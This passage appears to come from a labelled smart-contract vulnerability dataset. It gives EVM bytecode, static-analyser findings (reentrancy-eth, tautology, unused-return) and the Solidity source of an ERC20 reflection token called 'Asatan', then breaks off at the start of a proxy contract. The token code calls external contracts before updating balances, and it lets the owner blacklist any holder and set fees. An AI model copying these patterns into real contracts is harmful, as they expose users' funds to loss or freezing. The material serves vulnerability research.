6f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610619565b60006114316115fb565b905061143d838261161e565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148c5761148c611dcc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e057600080fd5b505afa1580156114f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115189190611e42565b8160018151811061152b5761152b611dcc565b6001600160a01b0392831660209182029290920101526014546115519130911684610d00565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061158a908590600090869030904290600401611e5f565b600060405180830381600087803b1580156115a457600080fd5b505af11580156115b8573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115da576115da611660565b6115e584848461168e565b80610be157610be1600e54600c55600f54600d55565b6000806000611608611785565b9092509050611617828261161e565b9250505090565b600061143d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c7565b600c541580156116705750600d54155b1561167757565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116a0876117f5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d29087611852565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117019086611894565b6001600160a01b038916600090815260026020526040902055611723816118f3565b61172d848361193d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a1828261161e565b8210156117be57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117e85760405162461bcd60e51b81526004016106199190611b85565b50600061137d8486611ed0565b60008060008060008060008060006118128a600c54600d54611961565b92509250925060006118226115fb565b905060008060006118358e8787876119b6565b919e509c509a509598509396509194505050505091939550919395565b600061143d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061134c565b6000806118a18385611e13565b90508381101561143d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610619565b60006118fd6115fb565b9050600061190b8383611a06565b306000908152600260205260409020549091506119289082611894565b30600090815260026020526040902055505050565b60065461194a9083611852565b60065560075461195a9082611894565b6007555050565b600080808061197b60646119758989611a06565b9061161e565b9050600061198e60646119758a89611a06565b905060006119a6826119a08b86611852565b90611852565b9992985090965090945050505050565b60008080806119c58886611a06565b905060006119d38887611a06565b905060006119e18888611a06565b905060006119f3826119a08686611852565b939b939a50919850919650505050505050565b600082611a155750600061069f565b6000611a218385611ef2565b905082611a2e8583611ed0565b1461143d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610619565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082857600080fd5b8035611abb81611a9b565b919050565b60006020808385031215611ad357600080fd5b823567ffffffffffffffff80821115611aeb57600080fd5b818501915085601f830112611aff57600080fd5b813581811115611b1157611b11611a85565b8060051b604051601f19603f83011681018181108582111715611b3657611b36611a85565b604052918252848201925083810185019188831115611b5457600080fd5b938501935b82851015611b7957611b6a85611ab0565b84529385019392850192611b59565b98975050505050505050565b600060208083528351808285015260005b81811015611bb257858101830151858201604001528201611b96565b81811115611bc4576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bed57600080fd5b8235611bf881611a9b565b946020939093013593505050565b600080600060608486031215611c1b57600080fd5b8335611c2681611a9b565b92506020840135611c3681611a9b565b929592945050506040919091013590565b600060208284031215611c5957600080fd5b813561143d81611a9b565b80358015158114611abb57600080fd5b600060208284031215611c8657600080fd5b61143d82611c64565b600060208284031215611ca157600080fd5b5035919050565b60008060008060808587031215611cbe57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cef57600080fd5b833567ffffffffffffffff80821115611d0757600080fd5b818601915086601f830112611d1b57600080fd5b813581811115611d2a57600080fd5b8760208260051b8501011115611d3f57600080fd5b602092830195509350611d559186019050611c64565b90509250925092565b60008060408385031215611d7157600080fd5b8235611d7c81611a9b565b91506020830135611d8c81611a9b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e0c57611e0c611de2565b5060010190565b60008219821115611e2657611e26611de2565b500190565b600082821015611e3d57611e3d611de2565b500390565b600060208284031215611e5457600080fd5b815161143d81611a9b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eaf5784516001600160a01b031683529383019391830191600101611e8a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eed57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f0c57611f0c611de2565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205135e192ebaee4a6e4680bc0970a3ef796e414b1abbb18db1dc70b22b35d752d64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,690 |
0xb7d411b263671a210332e00e58326e7d743a472b
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Asatan is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Asatan";
string private constant _symbol = "$Asatan";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x07120211bB9e8658F52dd50fC6ff13d153FB2500);
_buyTax = 13;
_sellTax = 13;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b41146102e05780639e78fb4f14610310578063a9059cbb1461032557600080fd5b8063273123b7116100f2578063273123b714610212578063313ce5671461023257806346df33b71461024e5780636fc3eaec1461026e57806370a082311461028357600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101d057806323b872dd146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600681526520b9b0ba30b760d11b60208201525b604051610172919061190a565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461179b565b610415565b6040519015158152602001610172565b3480156101b757600080fd5b50678ac7230489e800005b604051908152602001610172565b3480156101dc57600080fd5b506101f06101eb3660046118c5565b61042c565b005b3480156101fe57600080fd5b5061019b61020d36600461175b565b610478565b34801561021e57600080fd5b506101f061022d3660046116eb565b6104e1565b34801561023e57600080fd5b5060405160098152602001610172565b34801561025a57600080fd5b506101f061026936600461188d565b61052c565b34801561027a57600080fd5b506101f0610574565b34801561028f57600080fd5b506101c261029e3660046116eb565b6105a8565b3480156102af57600080fd5b506101f06105ca565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ec57600080fd5b506040805180820190915260078152661220b9b0ba30b760c91b6020820152610165565b34801561031c57600080fd5b506101f061063e565b34801561033157600080fd5b5061019b61034036600461179b565b61087d565b34801561035157600080fd5b506101f06103603660046117c6565b61088a565b34801561037157600080fd5b506101f061092e565b34801561038657600080fd5b506101f061096e565b34801561039b57600080fd5b506101f06103aa3660046118c5565b610b35565b3480156103bb57600080fd5b506101f06103ca3660046118c5565b610b6d565b3480156103db57600080fd5b506101c26103ea366004611723565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610422338484610ba5565b5060015b92915050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b81526004016104569061195d565b60405180910390fd5b6702c68af0bb1400008111156104755760108190555b50565b6000610485848484610cc9565b6104d784336104d285604051806060016040528060288152602001611adb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fd9565b610ba5565b5060019392505050565b6000546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104569061195d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016104569061195d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104569061195d565b4761047581611013565b6001600160a01b0381166000908152600260205260408120546104269061104d565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016104569061195d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106685760405162461bcd60e51b81526004016104569061195d565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072257600080fd5b505afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a9190611707565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611707565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082257600080fd5b505af1158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611707565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610422338484610cc9565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016104569061195d565b60005b815181101561092a576001600660008484815181106108e657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092281611a70565b9150506108b7565b5050565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016104569061195d565b6000610963306105a8565b9050610475816110d1565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016104569061195d565b600e546109b89030906001600160a01b0316678ac7230489e80000610ba5565b600e546001600160a01b031663f305d71947306109d4816105a8565b6000806109e96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4c57600080fd5b505af1158015610a60573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8591906118dd565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afd57600080fd5b505af1158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906118a9565b6000546001600160a01b03163314610b5f5760405162461bcd60e51b81526004016104569061195d565b600d81101561047557600b55565b6000546001600160a01b03163314610b975760405162461bcd60e51b81526004016104569061195d565b600d81101561047557600c55565b6001600160a01b038316610c075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610456565b6001600160a01b038216610d8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610456565b60008111610df15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6001600160a01b03831660009081526006602052604090205460ff1615610e1757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5957506001600160a01b03821660009081526005602052604090205460ff16155b15610fc9576000600955600c54600a55600f546001600160a01b038481169116148015610e945750600e546001600160a01b03838116911614155b8015610eb957506001600160a01b03821660009081526005602052604090205460ff16155b8015610ece5750600f54600160b81b900460ff165b15610efb576000610ede836105a8565b601054909150610eee8383611276565b1115610ef957600080fd5b505b600f546001600160a01b038381169116148015610f265750600e546001600160a01b03848116911614155b8015610f4b57506001600160a01b03831660009081526005602052604090205460ff16155b15610f5c576000600955600b54600a555b6000610f67306105a8565b600f54909150600160a81b900460ff16158015610f925750600f546001600160a01b03858116911614155b8015610fa75750600f54600160b01b900460ff165b15610fc757610fb5816110d1565b478015610fc557610fc547611013565b505b505b610fd48383836112d5565b505050565b60008184841115610ffd5760405162461bcd60e51b8152600401610456919061190a565b50600061100a8486611a59565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092a573d6000803e3d6000fd5b60006007548211156110b45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b60006110be6112e0565b90506110ca8382611303565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117b57600080fd5b505afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190611707565b816001815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111fa9130911684610ba5565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611233908590600090869030904290600401611992565b600060405180830381600087803b15801561124d57600080fd5b505af1158015611261573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112838385611a02565b9050838110156110ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b610fd4838383611345565b60008060006112ed61143c565b90925090506112fc8282611303565b9250505090565b60006110ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061147c565b600080600080600080611357876114aa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113899087611507565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b89086611276565b6001600160a01b0389166000908152600260205260409020556113da81611549565b6113e48483611593565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142991815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114578282611303565b82101561147357505060075492678ac7230489e8000092509050565b90939092509050565b6000818361149d5760405162461bcd60e51b8152600401610456919061190a565b50600061100a8486611a1a565b60008060008060008060008060006114c78a600954600a546115b7565b92509250925060006114d76112e0565b905060008060006114ea8e87878761160c565b919e509c509a509598509396509194505050505091939550919395565b60006110ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd9565b60006115536112e0565b90506000611561838361165c565b3060009081526002602052604090205490915061157e9082611276565b30600090815260026020526040902055505050565b6007546115a09083611507565b6007556008546115b09082611276565b6008555050565b60008080806115d160646115cb898961165c565b90611303565b905060006115e460646115cb8a8961165c565b905060006115fc826115f68b86611507565b90611507565b9992985090965090945050505050565b600080808061161b888661165c565b90506000611629888761165c565b90506000611637888861165c565b90506000611649826115f68686611507565b939b939a50919850919650505050505050565b60008261166b57506000610426565b60006116778385611a3a565b9050826116848583611a1a565b146110ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b80356116e681611ab7565b919050565b6000602082840312156116fc578081fd5b81356110ca81611ab7565b600060208284031215611718578081fd5b81516110ca81611ab7565b60008060408385031215611735578081fd5b823561174081611ab7565b9150602083013561175081611ab7565b809150509250929050565b60008060006060848603121561176f578081fd5b833561177a81611ab7565b9250602084013561178a81611ab7565b929592945050506040919091013590565b600080604083850312156117ad578182fd5b82356117b881611ab7565b946020939093013593505050565b600060208083850312156117d8578182fd5b823567ffffffffffffffff808211156117ef578384fd5b818501915085601f830112611802578384fd5b81358181111561181457611814611aa1565b8060051b604051601f19603f8301168101818110858211171561183957611839611aa1565b604052828152858101935084860182860187018a1015611857578788fd5b8795505b838610156118805761186c816116db565b85526001959095019493860193860161185b565b5098975050505050505050565b60006020828403121561189e578081fd5b81356110ca81611acc565b6000602082840312156118ba578081fd5b81516110ca81611acc565b6000602082840312156118d6578081fd5b5035919050565b6000806000606084860312156118f1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119365785810183015185820160400152820161191a565b818111156119475783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119e15784516001600160a01b0316835293830193918301916001016119bc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a1557611a15611a8b565b500190565b600082611a3557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a5457611a54611a8b565b500290565b600082821015611a6b57611a6b611a8b565b500390565b6000600019821415611a8457611a84611a8b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047557600080fd5b801515811461047557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018ab22e1aa9ffebc0d7e941290ace536b37bb2dad5b5cc63d5c352cc583b83c364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,691 |
0xd85ac522a67666bdc625d91051bd7aa6a1d91ebe
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
